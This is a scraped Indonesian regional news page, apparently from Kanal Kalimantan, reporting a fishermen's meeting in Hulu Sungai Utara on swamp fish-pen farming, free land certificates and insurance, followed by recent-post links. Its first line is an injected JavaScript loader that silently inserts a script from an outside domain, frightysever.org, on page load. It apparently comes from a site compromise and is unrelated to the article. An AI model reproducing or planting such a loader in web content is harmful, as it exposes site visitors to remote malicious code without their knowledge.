(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kanal

Temu Nelayan Upaya Naikan Produksi Perikanan Rawa HSU


AMUNTAI, Potensi rawa Kabupaten HSU harus ditunjang sistem budidaya yang tepat untuk meningkatkan produksi perikanan, hal tersebut diungkapkan Kepala Dinas Perikanan Kabupaten Hulu Sungai Utara (HSU) H Muhammad Suriani saat membuka acara temu nelayan yang di Aula Kecamatan Amuntai Tengah, Kamis (26/4).

Dalam pertemuan yang dihadiri oleh para anggota kelompok nelayan dan tenaga penyuluh perikanan se Kabupaten HSU ada beberapa prioritas utama, diantaranya mengenai pengembangan potensi perairan rawa, pemberian sertifikat hak tanah bagi para kelompok nelayan untuk permodalan, serta pentingnya asuransi bagi para nelayan tangkap dan pembudidaya ikan di HSU.

Kepala Dinas Perikanan HSU mengatakan, potensi perairan rawa di Kabupaten HSU harus ditunjang sistem budidaya yang tepat untuk meningkatkan produksi perikanan. Oleh karena itu perlu metode yang tempat untuk pengembangannya.

“Sistem budidaya yang saat ini diperkenalkan Dinas Perikanan kepada petani nelayan adalah sistem budidaya pagar atau fish pen, karena sangat sesuai untuk diterapkan di perairan rawa dengan biaya produksi rendah,” kata Suriani.

Sementara itu, Kepala Kantor Pertanahan HSU Ahmad Suhaimi, sebagai pemateri mengatakan, pembuatan sertifikat tanah untuk nelayan digratiskan sesuai program pertanahan nasional.

“Sertifikat tanah diharapkan bisa untuk penguatan modal usaha nelayan,” tambah Ahmad Suhaimi.

Narasumber dari PT Jasa Asuransi Indonesia (Jasindo) Baron Wahyu Nugroho memperkenalkan pentingnya asuransi untuk nelayan sebagai perlindungan atau proteksi serta jaminan bagi nelayan saat melaksanakan pekerjaannya, karena melalui premi yang disesuaikan, para petani nelayan tangkap dapat memperoleh santunan asuransi nantinya.

“Dengan jumlah premi yang disetorkan bervariasi per tahun, petani nelayan bisa melakukan klaim apabila sakit atau meninggal dunia,” kata Baron. (dew)

Reporter : Dewahyudi
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

24 menit ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

45 menit ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

1 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

2 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

4 jam ago

Pipa Bocor, Suplai Air Bersih di Banjarmasin Barat dan Tengah Terhenti

KANALKALIMANTAN.COM, BANJARMASIN - Pipa distribusi air bersih milik Perusahaan Air Minum (PAM) Bandarmasih di wilayah… Read More

5 jam ago

This website uses cookies.